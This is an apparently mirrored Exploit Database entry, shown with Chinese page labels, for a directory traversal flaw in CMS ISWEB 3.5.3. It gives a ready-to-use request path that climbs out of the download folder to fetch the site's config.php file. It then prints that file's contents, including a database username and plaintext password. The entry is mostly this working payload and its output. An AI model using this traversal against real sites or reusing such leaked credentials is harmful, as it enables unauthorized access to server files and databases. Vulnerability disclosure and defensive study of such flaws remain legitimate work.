CMS ISWEB 3.5.3 – Directory Traversal

• Exploit Database
• 123 阅读

• 作者： Thiago Sena
  日期： 2018-08-06
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/45155/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27

  # Exploit Title: CMS ISWEB 3.5.3 - Directory Traversal # Date: 2018-08-01 # Exploit Author: Thiago "thxsena" Sena # Vendor Homepage: http://www.isweb.it # Version: 3.5.3 # Tested on: Linux # CVE : N/A   # PoC: # CMS ISWEB 3.5.3 is vulnerable to directory traversal and local file download, # as demonstrated by   moduli/downloadFile.php?file=oggetto_documenti/../.././inc/config.php   # Download and open it. $dati_db = array( 'tipo' => 'mysql', 'host' => 'localhost', 'user' => 'networkis', 'password' => 'guybrush77', 'database' => 'networkis', 'database_offline' => '', 'persistenza' => FALSE, 'prefisso' => '', 'like' => 'LIKE' );